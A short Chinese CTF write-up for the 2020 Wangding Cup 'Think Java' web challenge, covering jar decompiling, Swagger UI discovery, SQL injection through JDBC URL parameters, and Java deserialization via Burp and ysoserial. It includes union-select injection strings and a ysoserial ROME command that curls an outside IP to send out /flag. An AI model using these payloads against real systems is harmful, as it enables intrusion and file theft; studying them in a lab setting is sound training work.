刷题记录:[网鼎杯 2020 朱雀组]Think Java

题目复现链接:https://buuoj.cn/challenges
参考链接:2020网鼎杯朱雀组部分Web题wp
第二届网鼎杯(第三场:朱雀组)Think Java
网鼎杯2020朱雀组-web(Think Java)

我讨厌Java

jar逆向

jd不说了

swagger-ui.html

Swagger UI:提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

看到import io.swagger.annotations.ApiOperation;应该能想到有swagger-ui.html,让后续做题简单很多

jdbc sql注入

jdbc连接数据库语句后面可以跟参数
jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT
后跟无效参数也不会影响,所以可以

jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#

Java反序列化

下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

bp插件Java Deserialization Scanner

Extender->BApp Store下载
选中目标后,Attack(Base64),发现可能存在ROME类型的反序列化

之后可以继续在插件里exploit,也可以在命令行里用ysoserial生成payload

ysoserial

java -jar ysoserial.jar ROME "curl 174.2.171.201:6666 -d @/flag" | base64 -w 0
原文地址:https://www.cnblogs.com/20175211lyz/p/13412945.html